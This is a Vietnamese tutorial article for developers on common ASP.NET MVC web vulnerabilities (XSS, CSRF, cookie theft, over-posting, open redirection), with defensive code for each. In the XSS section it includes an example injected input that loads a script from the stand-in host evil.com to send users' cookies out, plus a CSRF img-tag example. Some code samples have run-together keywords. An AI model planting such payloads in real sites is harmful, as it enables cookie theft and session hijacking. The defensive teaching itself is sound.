Những Lỗ Hổng Bảo Mật Thường Gặp Trong Ứng Dụng Web

Khi một ứng dụng Web (có thể là Website hoặc WebApp) được public ra bên ngoài, nó trở thành mục tiêu phá hoại của những hacker muốn tìm và khai thác những lỗ hổng bảo mật xuất hiện trong ứng dụng. Dưới đây là những lỗ hổng bảo mật kinh điển mà Web developer cần tránh khi phát triển ứng dụng.

  1. Cross-Site Scripting (XSS)

XSS có thể được thực hiện theo 1 trong 2 cách:

Cách 1: User điền một đoạn script vào trong input (ví dụ như textbox) và hi vọng website sẽ save script đó xuống database và sẽ display nó lại ở lần sau. Cách tấn công này gọi là passive injection.

Cách 2: User điền một đoạn script vào trong input và được hiển thị ngay lập tức trên màn hình. Cách tấn công này gọi là active injection.

Tấn công XSS dựa trên việc thiếu encode những kí tự đặc biệt (ví dụ như >, <) trên một website. Lợi dụng điều này, hacker có thể chèn một đoạn script vào input chẳng hạn “></a>

<script src=’http://evil.com’ ></script>

Để khi được hiển thị sẽ âm thầm load một file script từ một website bên ngoài mà sẽ gửi cookies hoặc local data của user đến hacker.

Để ngăn chặn XSS, web developer cần phải encode tất cả nội dung html xuất hiện trên một page. Cụ thể, developer cần encode content, url và attribute. Nhiều framework hỗ trợ sẵn một phần tính năng encode. Trong ASP.NET MVC, Razor view engine sẽ tự động encode tất cả text và value thông qua việc sử dụng Model và các hàm html helpers. Ở những chỗ không hỗ trợ khả năng encode, developer có thể sử dụng hàm Html.Encode. Đối với giá trị url và attribute, developer cần phải tự gọi các hàm Url.Encode và Html.AttributeEncode để encode.

Encode html là không đủ để bảo đảm website an toàn trước tấn công XSS. Hacker có thể chèn các script vào content của javascript có trên page. Vì vậy, chúng ta cũng phải encode content có trong script. Trong asp.net mvc, chúng ta có thể sử dụng hàm Ajax.JavaScriptStringEncode để encode những chuỗi được sử dụng trong javascript tương tự như sử dụng Html.Encode. Ví dụ:

@section scripts {

    @if (ViewBag.UserName != null)    {

        <scripttype="text/javascript">

            $(function () {

                var msg = 'Welcome, @Ajax.JavaScriptStringEncode(ViewBag.UserName)!';

                $("#welcome-message").html(msg).hide().show('slow');

            });

        </script>

    }

}

Một giải pháp khác để encode html và javascript là sử dụng thư viện AntiXSS. AntiXSS giúp thay thế default encoder được sử dụng trong asp.net và do đó chịu trách nhiệm encode nội dụng khi sử dụng các hàm encode helper được nói ở trên. Riêng đối với encode javascript, thay vì sử dụng hàm Ajax.JavaScriptStringEncode, developer sẽ cần sử dụng hàm Encoder.JavaScriptEncode như ví dụ sau

@using Microsoft.Security.Application

@section scripts {

    @if (ViewBag.UserName != null)

    {

        <scripttype="text/javascript">

            $(function () {

                var msg = 'Welcome, @Encoder.JavaScriptEncode(ViewBag.UserName, false)!';

                $("#welcome-message").html(msg).hide().show('slow');

            });

        </script>

    }

}

Vì chỉ từ asp.net 4 trở lên mới support khả năng thay thế default encoder của framework nên thư viện AntiXSS chỉ có thể sử dụng từ asp.net 4 trở lên.

  1. Cross-Site Request Forgery (CSRF, XSRF)

Tấn công CSRF là giả mạo request hay nói cách khác là làm sai lệch bản chất của một request mà user (nói chính xác hơn là browser) không thể nhận biết được. Ví dụ, giả sử trên một page có sử dụng thẻ img để load hình ảnh như sau

![””/](”/picture.jpg” alt=””/)

Vì một lí do nào đó (do bị hack hay do sự nhầm lẫn của developer) thẻ img bị biến đổi thành

![””/](”/account/logout” alt=””/)

Khi đó, nếu page này được load, browser sẽ làm một request tới server với mục đích là load hình ảnh nhưng thực chất lại khiến cho server thực thi code log out user. Đây chính là một dạng của CSRF.

Trong thực tế, tấn công CSRF thường ở dạng những đường link được gửi bởi spammer tới email hoặc các social websites mà nếu user bất cẩn click lên nó sẽ bị redirect tới một page mà âm thầm submit form với thông tin user tới những nơi ví dụ như website của ngân hàng để thực hiện transaction. Khi đó, về mặt lí thuyết là chính user đó đang submit form nhưng trên thực tế user không hề hay biết.

Để ngăn chặn CSRF, chúng ta cần một cơ chế xác định có phải chính user muốn thực hiện request đó không. Asp.net mvc cung cấp một giải pháp khá tốt cho vấn đề này gọi là token verification. Đầu tiên, developer sẽ sử dụng hàm Html.AntiForgeryToken để sinh ra một hidden field nằm trong form mà chứa một giá trị bất kì duy nhất. Giá trị này cũng sẽ được lưu trong một session cookie ở phía browser của client. Khi form được submit, 2 giá trị này sẽ được so sánh nhờ vào action filter ValidateAntiforgeryToken.

Giải pháp token verification sẽ xử lý được hầu hết các tấn công CSRF thông thường, nhưng không phải là tất cả. Một giải pháp khác tương tự token verification nhưng thay vì kiểm tra token tự sinh ra thì sẽ kiểm tra thuộc tính HttpReferrer của request để bảo đảm request đến từ page được sinh ra bởi chính site đang nhận request chứ không phải đến từ một page được sinh ra bởi site nào khác. Giải pháp này gọi là HttpReferrer Validation. Developer có thể cài đặt logic kiểm tra trong một action filter mà sẽ được thực thi trước khi thực thi code action method như ví dụ dưới đây

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute

{

    publicoverridevoid OnAuthorize(AuthorizationContext filterContext)

    {

        if (filterContext.HttpContext != null)

        {

            if (filterContext.HttpContext.Request.UrlReferrer == null)

                thrownew System.Web.HttpException("Invalid submission");

            if (filterContext.HttpContext.Request.UrlReferrer.Host != "mysite.com")

                thrownew System.Web.HttpException("This form wasn't submitted from this site!");

        }

    }

}

Một quy tắc khác giúp giảm nhẹ khả năng tấn công CSRF là luôn xử lý những thay đổi dữ liệu trong database hay trong site dưới dạng những POST request.

  1. Cookie Stealing

Website sử dụng cookies để lưu thông tin user giữa các request (user’s session). Cookies có thể chứa những thông tin không quan trọng như preferences hay history hoặc có thể lưu những thông tin rất quan trọng ví dụ như authentication ticket.

Có 2 loại cookies:

Session cookies: Những cookies chứa trong bộ nhớ của browser và sẽ bị mất đi khi tắt browser hoặc khi user session timeout.
Persistent cookies: Những cookies được lưu trữ trong các file text trên ổ cứng của user và sẽ không bị mất đi trừ khi user clear cache browser.

Cùng với sự tiện lợi thì cookies cũng là cơ hội để hacker sử dụng XSS để ăn cắp cookies của user và sau đó sử dụng nó để giả danh user thực hiện các thao tác khác. Bởi vì XSS phụ thuộc vào script để có thể ăn cắp cookies nên một cách hiệu quả để chống mất cắp cookies là không cho phép script access cookies bằng cách sử dụng cờ HttpOnly.

Để ngăn cản script access lên tất cả cookies của site, set config sau trong Web.config

<system.web>

    <httpCookiesdomain=""requireSSL="false"httpOnlyCookies="true"/>

</system.web>

Để set HttpOnly lên từng cookie có thể sử dụng code khi ghi cookie như sau

Response.Cookies["MyCookie"].Value = "Remembering you…";

Response.Cookies["MyCookie"].HttpOnly = true;

  1. Over-Posting

Over-posting xảy ra trong những web framework sử dụng tính năng model binding, chẳng hạn như trong asp.net mvc. Khi một view sử dụng model để render html nhưng không render hết các property của model sẽ tạo cơ hội cho hacker sử dụng các công cụ web development để chèn thêm các giá trị không mong muốn cho các property của model không được render.

Cách đơn giản nhất để ngăn tình trạng này xảy ra là sử dụng attribute Bind để xác định tường minh property nào của model sẽ được binding. BindAttribute có thể được đặt trên model class hoặc trong các tham số của action method. Ví dụ:

[Bind(Include="Name, Comment")]

publicclassReview

{

    publicint ReviewID { get; set; }

    publicstring Name { get; set; }

    publicstring Comment { get; set; }

    publicbool Approved { get; set; }

}

Một cách khác là sử dụng hàm UpdateModel hoặc TryUpdateModel . Ví dụ

UpdateModel(review, "Review", newstring[] { "Name", "Comment" });
  1. Open Redirection

Bất kì ứng dụng web nào mà redirect tới một URL được mô tả qua query string hay form data đều có thể bị hacker khai thác để redirect user tới một site bên ngoài mà user lầm tưởng là của site hiện tại. Cách thức tấn công này gọi là open redirection.

Ví dụ dễ nhận biết nhất là tham số ReturnUrl được include trong query string khi user được redirect tới page login trong asp.net mvc. Nếu tham số này bị thay đổi bởi hacker (có thể dưới dạng những link mà hacker gửi đến user) và code server không validate tham số này thì khi user login thành công sẽ được redirect tới site của hacker mà hacker có thể giả dạng site hiện tại để yêu cầu user nhập lại username/password hoặc nhập thêm các thông tin khác.

Trong asp.net mvc 1 và 2 không có code template cho việc validate URL. Từ asp.net mvc 3 trở đi, framework cung cấp một hàm để validate URL tên là Url.IsLocalUrl và template cũng sinh ra một đoạn code để validate ReturnUrl sau khi user login thành công như sau:

privateActionResult RedirectToLocal(string returnUrl)

{

    if (Url.IsLocalUrl(returnUrl))

    {

        return Redirect(returnUrl);

    }

    else

    {

        return RedirectToAction("Index", "Home");

    }

}

Nguồn: blogspot.com